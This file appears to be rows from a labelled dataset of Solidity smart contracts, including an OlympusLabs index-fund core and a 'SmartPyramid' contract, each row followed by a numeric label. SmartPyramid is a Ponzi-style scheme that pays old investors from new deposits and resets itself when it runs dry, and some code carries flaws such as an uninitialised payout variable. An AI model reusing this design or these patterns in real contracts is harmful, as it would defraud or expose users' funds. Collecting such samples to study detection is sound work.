balances[_to] = SafeMath.add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
else {
return false;
}
}
function transferFrom(address _from, address _to, uint _value) public returns(bool){
if (allowed[_from][msg.sender] >= _value
&& balances[_from] >= _value
&& _value > 0
&& contributionTime[_from] + WAITTIMEUNTILWITHDRAWORTRANSFER <= block.timestamp
&& _to != address(this)){
balances[_to] = SafeMath.add(balances[_to], _value);
balances[_from] = SafeMath.sub(balances[_from], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
else {
return false;
}
}
function approve(address _spender, uint _value) public returns(bool){
if(_value > 0){
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
else {
return false;
}
}
function allowance(address _owner, address _spender) constant public returns(uint){
return allowed[_owner][_spender];
}
} | 0 | 1,360 |
pragma solidity ^0.4.23;
interface ERC20 {
function totalSupply() external view returns (uint supply);
function balanceOf(address _owner) external view returns (uint balance);
function transfer(address _to, uint _value) external returns (bool success);
function transferFrom(address _from, address _to, uint _value) external returns (bool success);
function approve(address _spender, uint _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint remaining);
function decimals() external view returns(uint digits);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
library Utils {
uint constant PRECISION = (10**18);
uint constant MAX_DECIMALS = 18;
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
if( dstDecimals >= srcDecimals ) {
require((dstDecimals-srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals-srcDecimals))) / PRECISION;
} else {
require((srcDecimals-dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals-dstDecimals)));
}
}
}
contract Manageable {
event ProviderUpdated (uint8 name, address hash);
mapping (uint8 => address) public subContracts;
modifier onlyOwner() {
require(true == false);
_;
}
function setProvider(uint8 _id, address _providerAddress) public onlyOwner returns (bool success) {
require(_providerAddress != address(0));
subContracts[_id] = _providerAddress;
emit ProviderUpdated(_id, _providerAddress);
return true;
}
}
library TypeDefinitions {
enum ProviderType {
Strategy,
Price,
Exchange,
Storage,
ExtendedStorage,
Whitelist
}
struct ProviderStatistic {
uint counter;
uint amountInEther;
uint reputation;
}
struct ERC20Token {
string symbol;
address tokenAddress;
uint decimal;
}
}
contract Provider is Manageable {
string public name;
TypeDefinitions.ProviderType public providerType;
string public description;
mapping(string => bool) internal properties;
TypeDefinitions.ProviderStatistic public statistics;
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address addr)
internal
{
role.bearer[addr] = true;
}
function remove(Role storage role, address addr)
internal
{
role.bearer[addr] = false;
}
function check(Role storage role, address addr)
view
internal
{
require(has(role, addr));
}
function has(Role storage role, address addr)
view
internal
returns (bool)
{
return role.bearer[addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address addr, string roleName);
event RoleRemoved(address addr, string roleName);
string public constant ROLE_ADMIN = "admin";
function RBAC()
public
{
addRole(msg.sender, ROLE_ADMIN);
}
function checkRole(address addr, string roleName)
view
public
{
roles[roleName].check(addr);
}
function hasRole(address addr, string roleName)
view
public
returns (bool)
{
return roles[roleName].has(addr);
}
function adminAddRole(address addr, string roleName)
onlyAdmin
public
{
addRole(addr, roleName);
}
function adminRemoveRole(address addr, string roleName)
onlyAdmin
public
{
removeRole(addr, roleName);
}
function addRole(address addr, string roleName)
internal
{
roles[roleName].add(addr);
RoleAdded(addr, roleName);
}
function removeRole(address addr, string roleName)
internal
{
roles[roleName].remove(addr);
RoleRemoved(addr, roleName);
}
modifier onlyRole(string roleName)
{
checkRole(msg.sender, roleName);
_;
}
modifier onlyAdmin()
{
checkRole(msg.sender, ROLE_ADMIN);
_;
}
}
contract PermissionProviderInterface is Provider, RBAC {
string public constant ROLE_ADMIN = "admin";
string public constant ROLE_CORE = "core";
string public constant ROLE_STORAGE = "storage";
string public constant ROLE_CORE_OWNER = "CoreOwner";
string public constant ROLE_STRATEGY_OWNER = "StrategyOwner";
string public constant ROLE_PRICE_OWNER = "PriceOwner";
string public constant ROLE_EXCHANGE_OWNER = "ExchangeOwner";
string public constant ROLE_EXCHANGE_ADAPTER_OWNER = "ExchangeAdapterOwner";
string public constant ROLE_STORAGE_OWNER = "StorageOwner";
string public constant ROLE_WHITELIST_OWNER = "WhitelistOwner";
modifier onlyAdmin()
{
checkRole(msg.sender, ROLE_ADMIN);
_;
}
function changeAdmin(address _newAdmin) onlyAdmin public returns (bool success);
function adminAdd(address _addr, string _roleName) onlyAdmin public;
function adminRemove(address _addr, string _roleName) onlyAdmin public;
function has(address _addr, string _roleName) public view returns(bool success);
}
contract ExchangeAdapterBase {
address internal adapterManager;
address internal exchangeExchange;
enum Status {
ENABLED,
DISABLED
}
enum OrderStatus {
Pending,
Approved,
PartiallyCompleted,
Completed,
Cancelled,
Errored
}
function ExchangeAdapterBase(address _manager,address _exchange) public {
adapterManager = _manager;
exchangeExchange = _exchange;
}
function getExpectAmount(uint eth, uint destDecimals, uint rate) internal pure returns(uint){
return Utils.calcDstQty(eth, 18, destDecimals, rate);
}
modifier onlyAdaptersManager(){
require(msg.sender == adapterManager);
_;
}
modifier onlyExchangeProvider(){
require(msg.sender == exchangeExchange);
_;
}
}
contract ExchangeProviderInterface {
function startPlaceOrder(uint orderId, address deposit) external returns(bool);
function addPlaceOrderItem(uint orderId, ERC20 token, uint amount, uint rate) external returns(bool);
function endPlaceOrder(uint orderId) external payable returns(bool);
function getSubOrderStatus(uint orderId, ERC20 token) external view returns (ExchangeAdapterBase.OrderStatus);
function cancelOrder(uint orderId) external returns (bool success);
function checkTokenSupported(ERC20 token) external view returns (bool);
}
library Converter {
function stringToBytes32(string memory source) internal pure returns (bytes32 result) {
assembly {
result := mload(add(source, 32))
}
}
function bytes32ToString(bytes32 x) internal pure returns (string) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract PriceProviderInterface {
function updatePrice(address _tokenAddress,bytes32[] _exchanges,uint[] _prices,uint _nonce) public returns(bool success);
function getNewDefaultPrice(address _tokenAddress) public view returns(uint);
function getNewCustomPrice(address _provider,address _tokenAddress) public view returns(uint);
function getNonce(address providerAddress,address tokenAddress) public view returns(uint);
function checkTokenSupported(address tokenAddress) public view returns(bool success);
function checkExchangeSupported(bytes32 Exchanges) public view returns(bool success);
function checkProviderSupported(address providerAddress,address tokenAddress) public view returns(bool success);
function getRates(address dest, uint srcQty) public view returns (uint expectedRate, uint slippageRate);
}
contract OlympusStorageExtendedInterface {
function setCustomExtraData(bytes32 dataKind, uint objectId, bytes32 key, bytes32 value) external returns(bool success);
function getCustomExtraData(bytes32 dataKind, uint objectId, bytes32 key) external view returns(bytes32 result);
function getAccessor(bytes32 dataKind, uint id) private pure returns(string accessor);
}
library StorageTypeDefinitions {
enum OrderStatus {
New,
Placed,
PartiallyCompleted,
Completed,
Cancelled,
Errored
}
}
contract OlympusStorageInterface {
function addTokenDetails(
uint indexOrderId,
address[] tokens,
uint[] weights,
uint[] totalTokenAmounts,
uint[] estimatedPrices) external;
function addOrderBasicFields(
uint strategyId,
address buyer,
uint amountInWei,
uint feeInWei,
bytes32 exchangeId) external returns (uint indexOrderId);
function getOrderTokenCompletedAmount(
uint _orderId,
address _tokenAddress) external view returns (uint, uint);
function getIndexOrder1(uint _orderId) external view returns(
uint strategyId,
address buyer,
StorageTypeDefinitions.OrderStatus status,
uint dateCreated
);
function getIndexOrder2(uint _orderId) external view returns(
uint dateCompleted,
uint amountInWei,
uint tokensLength,
bytes32 exchangeId
);
function updateIndexOrderToken(
uint _orderId,
uint _tokenIndex,
uint _actualPrice,
uint _totalTokenAmount,
uint _completedQuantity,
ExchangeAdapterBase.OrderStatus status) external;
function getIndexToken(uint _orderId, uint tokenPosition) external view returns (address token);
function updateOrderStatus(uint _orderId, StorageTypeDefinitions.OrderStatus _status)
external returns (bool success);
function resetOrderIdTo(uint _orderId) external returns(uint);
function addCustomField(
uint _orderId,
bytes32 key,
bytes32 value
) external returns (bool success);
function getCustomField(
uint _orderId,
bytes32 key
) external view returns (bytes32 result);
}
contract OlympusStorage is Manageable, OlympusStorageInterface {
using SafeMath for uint256;
event IndexOrderUpdated (uint orderId);
event Log(string message);
struct IndexOrder {
address buyer;
uint strategyId;
uint amountInWei;
uint feeInWei;
uint dateCreated;
uint dateCompleted;
address[] tokens;
uint[] weights;
uint[] estimatedPrices;
uint[] dealtPrices;
uint[] totalTokenAmounts;
uint[] completedTokenAmounts;
ExchangeAdapterBase.OrderStatus[] subStatuses;
StorageTypeDefinitions.OrderStatus status;
bytes32 exchangeId;
}
mapping(uint => IndexOrder) public orders;
mapping(uint => mapping(address => uint)) public orderTokenAmounts;
uint public orderId = 1000000;
bytes32 constant private dataKind = "Order";
OlympusStorageExtendedInterface internal olympusStorageExtended = OlympusStorageExtendedInterface(address(0xcEb51bD598ABb0caa8d2Da30D4D760f08936547B));
modifier onlyOwner() {
require(permissionProvider.has(msg.sender, permissionProvider.ROLE_STORAGE_OWNER()));
_;
}
modifier onlyCore() {
require(permissionProvider.has(msg.sender, permissionProvider.ROLE_CORE()));
_;
}
PermissionProviderInterface internal permissionProvider;
constructor(address _permissionProvider) public {
permissionProvider = PermissionProviderInterface(_permissionProvider);
}
function addTokenDetails(
uint indexOrderId,
address[] tokens,
uint[] weights,
uint[] totalTokenAmounts,
uint[] estimatedPrices
) external onlyCore {
orders[indexOrderId].tokens = tokens;
orders[indexOrderId].weights = weights;
orders[indexOrderId].estimatedPrices = estimatedPrices;
orders[indexOrderId].totalTokenAmounts = totalTokenAmounts;
uint i;
for (i = 0; i < tokens.length; i++ ) {
orders[indexOrderId].subStatuses.push(ExchangeAdapterBase.OrderStatus.Pending);
orders[indexOrderId].dealtPrices.push(0);
orders[indexOrderId].completedTokenAmounts.push(0);
orderTokenAmounts[indexOrderId][tokens[i]] = weights[i];
}
}
function addOrderBasicFields(
uint strategyId,
address buyer,
uint amountInWei,
uint feeInWei,
bytes32 exchangeId
) external onlyCore returns (uint indexOrderId) {
indexOrderId = getOrderId();
IndexOrder memory order = IndexOrder({
buyer: buyer,
strategyId: strategyId,
amountInWei: amountInWei,
feeInWei: feeInWei,
dateCreated: now,
dateCompleted: 0,
tokens: new address[](0),
weights: new uint[](0),
estimatedPrices: new uint[](0),
dealtPrices: new uint[](0),
totalTokenAmounts: new uint[](0),
completedTokenAmounts: new uint[](0),
subStatuses: new ExchangeAdapterBase.OrderStatus[](0),
status: StorageTypeDefinitions.OrderStatus.New,
exchangeId: exchangeId
});
orders[indexOrderId] = order;
return indexOrderId;
}
function getIndexOrder1(uint _orderId) external view returns(
uint strategyId,
address buyer,
StorageTypeDefinitions.OrderStatus status,
uint dateCreated
) {
IndexOrder memory order = orders[_orderId];
return (
order.strategyId,
order.buyer,
order.status,
order.dateCreated
);
}
function getIndexOrder2(uint _orderId) external view returns(
uint dateCompleted,
uint amountInWei,
uint tokensLength,
bytes32 exchangeId
) {
IndexOrder memory order = orders[_orderId];
return (
order.dateCompleted,
order.amountInWei,
order.tokens.length,
order.exchangeId
);
}
function getIndexToken(uint _orderId, uint tokenPosition) external view returns (address token){
return orders[_orderId].tokens[tokenPosition];
}
function getOrderTokenCompletedAmount(uint _orderId, address _tokenAddress) external view returns (uint, uint){
IndexOrder memory order = orders[_orderId];
int index = -1;
for(uint i = 0 ; i < order.tokens.length; i++){
if(order.tokens[i] == _tokenAddress) {
index = int(i);
break;
}
}
if(index == -1) {
revert();
}
return (order.completedTokenAmounts[uint(index)], uint(index));
}
function updateIndexOrderToken(
uint _orderId,
uint _tokenIndex,
uint _actualPrice,
uint _totalTokenAmount,
uint _completedQuantity,
ExchangeAdapterBase.OrderStatus _status) external onlyCore {
orders[_orderId].totalTokenAmounts[_tokenIndex] = _totalTokenAmount;
orders[_orderId].dealtPrices[_tokenIndex] = _actualPrice;
orders[_orderId].completedTokenAmounts[_tokenIndex] = _completedQuantity;
orders[_orderId].subStatuses[_tokenIndex] = _status;
}
function addCustomField(
uint _orderId,
bytes32 key,
bytes32 value
) external onlyCore returns (bool success){
return olympusStorageExtended.setCustomExtraData(dataKind,_orderId,key,value);
}
function getCustomField(
uint _orderId,
bytes32 key
) external view returns (bytes32 result){
return olympusStorageExtended.getCustomExtraData(dataKind,_orderId,key);
}
function updateOrderStatus(uint _orderId, StorageTypeDefinitions.OrderStatus _status)
external onlyCore returns (bool success){
orders[_orderId].status = _status;
return true;
}
function getOrderId() private returns (uint) {
return orderId++;
}
function resetOrderIdTo(uint _start) external onlyOwner returns (uint) {
orderId = _start;
return orderId;
}
function setProvider(uint8 _id, address _providerAddress) public onlyOwner returns (bool success) {
bool result = super.setProvider(_id, _providerAddress);
TypeDefinitions.ProviderType _type = TypeDefinitions.ProviderType(_id);
if(_type == TypeDefinitions.ProviderType.ExtendedStorage) {
emit Log("ExtendedStorage");
olympusStorageExtended = OlympusStorageExtendedInterface(_providerAddress);
} else {
emit Log("Unknown provider type supplied.");
revert();
}
return result;
}
}
contract StrategyProviderInterface is Provider {
struct Combo {
uint id;
string name;
string description;
string category;
address[] tokenAddresses;
uint[] weights;
uint follower;
uint amount;
bytes32 exchangeId;
}
Combo[] public comboHub;
modifier _checkIndex(uint _index) {
require(_index < comboHub.length);
_;
}
function getStrategyCount() public view returns (uint length);
function getStrategyTokenCount(uint strategyId) public view returns (uint length);
function getStrategyTokenByIndex(uint strategyId, uint tokenIndex) public view returns (address token, uint weight);
function getStrategy(uint _index) public _checkIndex(_index) view returns (
uint id,
string name,
string description,
string category,
address[] memory tokenAddresses,
uint[] memory weights,
uint followers,
uint amount,
bytes32 exchangeId);
function createStrategy(
string name,
string description,
string category,
address[] tokenAddresses,
uint[] weights,
bytes32 exchangeId)
public returns (uint strategyId);
function updateStrategy(
uint strategyId,
string name,
string description,
string category,
address[] tokenAddresses,
uint[] weights,
bytes32 exchangeId)
public returns (bool success);
function incrementStatistics(uint id, uint amountInEther) external returns (bool success);
function updateFollower(uint id, bool follow) external returns (bool success);
}
contract WhitelistProviderInterface is Provider {
function isAllowed(address account) external view returns(bool);
}
contract OlympusLabsCore is Manageable {
using SafeMath for uint256;
event IndexOrderUpdated (uint orderId);
event Log(string message);
event LogNumber(uint number);
event LogAddress(address message);
event LogAddresses(address[] message);
event LogNumbers(uint[] numbers);
event LOGDEBUG(address);
ExchangeProviderInterface internal exchangeProvider = ExchangeProviderInterface(address(0x0));
StrategyProviderInterface internal strategyProvider = StrategyProviderInterface(address(0x0));
PriceProviderInterface internal priceProvider = PriceProviderInterface(address(0x0));
OlympusStorageInterface internal olympusStorage = OlympusStorageInterface(address(0x0));
WhitelistProviderInterface internal whitelistProvider;
ERC20 private constant MOT = ERC20(address(0x263c618480DBe35C300D8d5EcDA19bbB986AcaeD));
uint public feePercentage = 100;
uint public MOTDiscount = 25;
uint public constant DENOMINATOR = 10000;
uint public minimumInWei = 0;
uint public maximumInWei;
modifier allowProviderOnly(TypeDefinitions.ProviderType _type) {
require(msg.sender == subContracts[uint8(_type)]);
_;
}
modifier onlyOwner() {
require(permissionProvider.has(msg.sender, permissionProvider.ROLE_CORE_OWNER()));
_;
}
modifier onlyAllowed(){
require(address(whitelistProvider) == 0x0 || whitelistProvider.isAllowed(msg.sender));
_;
}
PermissionProviderInterface internal permissionProvider;
function OlympusLabsCore(address _permissionProvider) public {
permissionProvider = PermissionProviderInterface(_permissionProvider);
}
function() payable public {
revert();
}
function getStrategyCount() public view returns (uint length)
{
return strategyProvider.getStrategyCount();
}
function getStrategy(uint strategyId) public view returns (
string name,
string description,
string category,
address[] memory tokens,
uint[] memory weights,
uint followers,
uint amount,
string exchangeName)
{
bytes32 _exchangeName;
uint tokenLength = strategyProvider.getStrategyTokenCount(strategyId);
tokens = new address[](tokenLength);
weights = new uint[](tokenLength);
(,name,description,category,,,followers,amount,_exchangeName) = strategyProvider.getStrategy(strategyId);
(,,,,tokens,weights,,,) = strategyProvider.getStrategy(strategyId);
exchangeName = Converter.bytes32ToString(_exchangeName);
}
function getStrategyTokenAndWeightByIndex(uint strategyId, uint index) public view returns (
address token,
uint weight
)
{
uint tokenLength = strategyProvider.getStrategyTokenCount(strategyId);
require(index < tokenLength);
(token, weight) = strategyProvider.getStrategyTokenByIndex(strategyId, index);
}
function getPrice(address tokenAddress, uint srcQty) public view returns (uint price){
require(tokenAddress != address(0));
(, price) = priceProvider.getRates(tokenAddress, srcQty);
return price;
}
function getStrategyTokenPrice(uint strategyId, uint tokenIndex) public view returns (uint price) {
uint totalLength;
uint tokenLength = strategyProvider.getStrategyTokenCount(strategyId);
require(tokenIndex <= totalLength);
address[] memory tokens;
uint[] memory weights;
(,,,,tokens,weights,,,) = strategyProvider.getStrategy(strategyId);
return getPrice(tokens[tokenIndex], 10**18);
}
function setProvider(uint8 _id, address _providerAddress) public onlyOwner returns (bool success) {
bool result = super.setProvider(_id, _providerAddress);
TypeDefinitions.ProviderType _type = TypeDefinitions.ProviderType(_id);
if(_type == TypeDefinitions.ProviderType.Strategy) {
emit Log("StrategyProvider");
strategyProvider = StrategyProviderInterface(_providerAddress);
} else if(_type == TypeDefinitions.ProviderType.Exchange) {
emit Log("ExchangeProvider");
exchangeProvider = ExchangeProviderInterface(_providerAddress);
} else if(_type == TypeDefinitions.ProviderType.Price) {
emit Log("PriceProvider");
priceProvider = PriceProviderInterface(_providerAddress);
} else if(_type == TypeDefinitions.ProviderType.Storage) {
emit Log("StorageProvider");
olympusStorage = OlympusStorageInterface(_providerAddress);
} else if(_type == TypeDefinitions.ProviderType.Whitelist) {
emit Log("WhitelistProvider");
whitelistProvider = WhitelistProviderInterface(_providerAddress);
} else {
emit Log("Unknown provider type supplied.");
revert();
}
return result;
}
function buyIndex(uint strategyId, address depositAddress, bool feeIsMOT)
public onlyAllowed payable returns (uint indexOrderId)
{
require(msg.value > minimumInWei);
if(maximumInWei > 0){
require(msg.value <= maximumInWei);
}
uint tokenLength = strategyProvider.getStrategyTokenCount(strategyId);
require(tokenLength > 0);
address[] memory tokens = new address[](tokenLength);
uint[] memory weights = new uint[](tokenLength);
bytes32 exchangeId;
(,,,,tokens,weights,,,exchangeId) = strategyProvider.getStrategy(strategyId);
uint[3] memory amounts;
amounts[0] = msg.value;
amounts[1] = getFeeAmount(amounts[0], feeIsMOT);
amounts[2] = payFee(amounts[0], amounts[1], msg.sender, feeIsMOT);
indexOrderId = olympusStorage.addOrderBasicFields(
strategyId,
msg.sender,
amounts[0],
amounts[1],
exchangeId
);
uint[][4] memory subOrderTemp;
subOrderTemp[0] = initializeArray(tokenLength);
subOrderTemp[1] = initializeArray(tokenLength);
emit LogNumber(indexOrderId);
require(exchangeProvider.startPlaceOrder(indexOrderId, depositAddress));
for (uint i = 0; i < tokenLength; i ++ ) {
if(weights[i] <= 0) {
continue;
}
if(!exchangeProvider.checkTokenSupported(ERC20(tokens[i]))){
emit Log("Exchange provider doesn't support");
revert();
}
if(!priceProvider.checkTokenSupported(tokens[i])){
emit Log("Price provider doesn't support");
revert();
}
subOrderTemp[0][i] = amounts[2] * weights[i] / 100;
subOrderTemp[1][i] = getPrice(tokens[i], subOrderTemp[0][i]);
emit LogAddress(tokens[i]);
emit LogNumber(subOrderTemp[0][i]);
emit LogNumber(subOrderTemp[1][i]);
require(exchangeProvider.addPlaceOrderItem(indexOrderId, ERC20(tokens[i]), subOrderTemp[0][i], subOrderTemp[1][i]));
}
olympusStorage.addTokenDetails(
indexOrderId,
tokens, weights, subOrderTemp[0], subOrderTemp[1]
);
emit LogNumber(amounts[2]);
require((exchangeProvider.endPlaceOrder.value(amounts[2])(indexOrderId)));
strategyProvider.updateFollower(strategyId, true);
strategyProvider.incrementStatistics(strategyId, msg.value);
return indexOrderId;
}
function initializeArray(uint length) private pure returns (uint[]){
return new uint[](length);
}
function resetOrderIdTo(uint _start) external onlyOwner returns (uint) {
return olympusStorage.resetOrderIdTo(_start);
}
function getIndexOrder(uint _orderId) public view returns
(uint[])
{
uint[] memory orderPartial = new uint[](5);
address[] memory buyer = new address[](1);
bytes32[] memory exchangeId = new bytes32[](1);
StorageTypeDefinitions.OrderStatus[] memory status = new StorageTypeDefinitions.OrderStatus[](1);
(orderPartial[0], buyer[0], status[0], orderPartial[1]) = olympusStorage.getIndexOrder1(_orderId);
(orderPartial[2], orderPartial[3], orderPartial[4], exchangeId[0]) = olympusStorage.getIndexOrder2(_orderId);
address[] memory tokens = new address[](orderPartial[4]);
for(uint i = 0; i < orderPartial[4]; i++){
tokens[i] = olympusStorage.getIndexToken(_orderId, i);
}
return (
orderPartial
);
}
function updateIndexOrderToken(
uint _orderId,
address _tokenAddress,
uint _actualPrice,
uint _totalTokenAmount,
uint _completedQuantity
) external allowProviderOnly(TypeDefinitions.ProviderType.Exchange) returns (bool success)
{
uint completedTokenAmount;
uint tokenIndex;
(completedTokenAmount, tokenIndex) = olympusStorage.getOrderTokenCompletedAmount(_orderId,_tokenAddress);
ExchangeAdapterBase.OrderStatus status;
if(completedTokenAmount == 0 && _completedQuantity < completedTokenAmount){
status = ExchangeAdapterBase.OrderStatus.PartiallyCompleted;
}
if(_completedQuantity >= completedTokenAmount){
status = ExchangeAdapterBase.OrderStatus.Completed;
}
olympusStorage.updateIndexOrderToken(_orderId, tokenIndex, _totalTokenAmount, _actualPrice, _completedQuantity, status);
return true;
}
function updateOrderStatus(uint _orderId, StorageTypeDefinitions.OrderStatus _status)
external allowProviderOnly(TypeDefinitions.ProviderType.Exchange)
returns (bool success)
{
olympusStorage.updateOrderStatus(_orderId, _status);
return true;
}
function getSubOrderStatus(uint _orderId, address _tokenAddress)
external view returns (ExchangeAdapterBase.OrderStatus)
{
return exchangeProvider.getSubOrderStatus(_orderId, ERC20(_tokenAddress));
}
function adjustFee(uint _newFeePercentage) public onlyOwner returns (bool success) {
require(_newFeePercentage < DENOMINATOR);
feePercentage = _newFeePercentage;
return true;
}
function adjustMOTFeeDiscount(uint _newDiscountPercentage) public onlyOwner returns(bool success) {
require(_newDiscountPercentage <= 100);
MOTDiscount = _newDiscountPercentage;
return true;
}
function adjustTradeRange(uint _minInWei, uint _maxInWei) public onlyOwner returns (bool success) {
require(_minInWei > 0);
require(_maxInWei > _minInWei);
minimumInWei = _minInWei;
maximumInWei = _maxInWei;
return true;
}
function getFeeAmount(uint amountInWei, bool feeIsMOT) private view returns (uint){
if(feeIsMOT){
return ((amountInWei * feePercentage / DENOMINATOR) * (100 - MOTDiscount)) / 100;
} else {
return amountInWei * feePercentage / DENOMINATOR;
}
}
function payFee(uint totalValue, uint feeValueInETH, address sender, bool feeIsMOT) private returns (uint){
if(feeIsMOT){
uint MOTPrice;
uint allowance = MOT.allowance(sender,address(this));
(MOTPrice,) = priceProvider.getRates(address(MOT), feeValueInETH);
uint amount = (feeValueInETH * MOTPrice) / 10**18;
require(allowance >= amount);
require(MOT.transferFrom(sender,address(this),amount));
return totalValue;
} else {
return totalValue - feeValueInETH;
}
}
function withdrawERC20(address receiveAddress,address _tokenAddress) public onlyOwner returns(bool success)
{
uint _balance = ERC20(_tokenAddress).balanceOf(address(this));
require(_tokenAddress != 0x0 && receiveAddress != 0x0 && _balance != 0);
require(ERC20(_tokenAddress).transfer(receiveAddress,_balance));
return true;
}
function withdrawETH(address receiveAddress) public onlyOwner returns(bool success)
{
require(receiveAddress != 0x0);
receiveAddress.transfer(this.balance);
return true;
}
} | 1 | 4,241 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract InvestorsStorage {
address private owner;
mapping (address => Investor) private investors;
struct Investor {
uint deposit;
uint checkpoint;
address referrer;
}
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function updateInfo(address _address, uint _value) external onlyOwner {
investors[_address].deposit += _value;
investors[_address].checkpoint = block.timestamp;
}
function updateCheckpoint(address _address) external onlyOwner {
investors[_address].checkpoint = block.timestamp;
}
function addReferrer(address _referral, address _referrer) external onlyOwner {
investors[_referral].referrer = _referrer;
}
function getInterest(address _address) external view returns(uint) {
if (investors[_address].deposit > 0) {
return(123 + ((block.timestamp - investors[_address].checkpoint) / 1 days));
}
}
function d(address _address) external view returns(uint) {
return investors[_address].deposit;
}
function c(address _address) external view returns(uint) {
return investors[_address].checkpoint;
}
function r(address _address) external view returns(address) {
return investors[_address].referrer;
}
}
contract SmartPyramid {
using SafeMath for uint;
address admin;
uint waveStartUp;
uint nextPayDay;
mapping (uint => Leader) top;
event LogInvestment(address indexed _addr, uint _value);
event LogIncome(address indexed _addr, uint _value, string indexed _type);
event LogReferralInvestment(address indexed _referrer, address indexed _referral, uint _value);
event LogGift(address _firstAddr, uint _firstDep, address _secondAddr, uint _secondDep, address _thirdAddr, uint _thirdDep);
event LogNewWave(uint _waveStartUp);
InvestorsStorage private x;
modifier notOnPause() {
require(waveStartUp <= block.timestamp);
_;
}
struct Leader {
address addr;
uint deposit;
}
function bytesToAddress(bytes _source) internal pure returns(address parsedReferrer) {
assembly {
parsedReferrer := mload(add(_source,0x14))
}
return parsedReferrer;
}
function addReferrer(uint _value) internal {
address _referrer = bytesToAddress(bytes(msg.data));
if (_referrer != msg.sender) {
x.addReferrer(msg.sender, _referrer);
x.r(msg.sender).transfer(_value / 20);
emit LogReferralInvestment(_referrer, msg.sender, _value);
emit LogIncome(_referrer, _value / 20, "referral");
}
}
constructor(address _admin) public {
admin = _admin;
x = new InvestorsStorage();
}
function getInfo(address _address) external view returns(uint deposit, uint amountToWithdraw) {
deposit = x.d(_address);
if (block.timestamp >= x.c(_address) + 10 minutes) {
amountToWithdraw = (x.d(_address).mul(x.getInterest(_address)).div(10000)).mul(block.timestamp.sub(x.c(_address))).div(1 days);
} else {
amountToWithdraw = 0;
}
}
function getTop() external view returns(address, uint, address, uint, address, uint) {
return(top[1].addr, top[1].deposit, top[2].addr, top[2].deposit, top[3].addr, top[3].deposit);
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest();
}
}
function invest() notOnPause public payable {
admin.transfer(msg.value * 4 / 25);
if (x.d(msg.sender) > 0) {
withdraw();
}
x.updateInfo(msg.sender, msg.value);
if (msg.value > top[3].deposit) {
toTheTop();
}
if (x.r(msg.sender) != 0x0) {
x.r(msg.sender).transfer(msg.value / 20);
emit LogReferralInvestment(x.r(msg.sender), msg.sender, msg.value);
emit LogIncome(x.r(msg.sender), msg.value / 20, "referral");
} else if (msg.data.length == 20) {
addReferrer(msg.value);
}
emit LogInvestment(msg.sender, msg.value);
}
function withdraw() notOnPause public {
if (block.timestamp >= x.c(msg.sender) + 10 minutes) {
uint _payout = (x.d(msg.sender).mul(x.getInterest(msg.sender)).div(10000)).mul(block.timestamp.sub(x.c(msg.sender))).div(1 days);
x.updateCheckpoint(msg.sender);
}
if (_payout > 0) {
if (_payout > address(this).balance) {
nextWave();
return;
}
msg.sender.transfer(_payout);
emit LogIncome(msg.sender, _payout, "withdrawn");
}
}
function toTheTop() internal {
if (msg.value <= top[2].deposit) {
top[3] = Leader(msg.sender, msg.value);
} else {
if (msg.value <= top[1].deposit) {
top[3] = top[2];
top[2] = Leader(msg.sender, msg.value);
} else {
top[3] = top[2];
top[2] = top[1];
top[1] = Leader(msg.sender, msg.value);
}
}
}
function payDay() external {
require(block.timestamp >= nextPayDay);
nextPayDay = block.timestamp.sub((block.timestamp - 1538388000).mod(7 days)).add(7 days);
emit LogGift(top[1].addr, top[1].deposit, top[2].addr, top[2].deposit, top[3].addr, top[3].deposit);
for (uint i = 0; i <= 2; i++) {
if (top[i+1].addr != 0x0) {
top[i+1].addr.transfer(2 ether / 2 ** i);
top[i+1] = Leader(0x0, 0);
}
}
}
function nextWave() private {
for (uint i = 0; i <= 2; i++) {
top[i+1] = Leader(0x0, 0);
}
x = new InvestorsStorage();
waveStartUp = block.timestamp + 7 days;
emit LogNewWave(waveStartUp);
}
} | 0 | 367 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
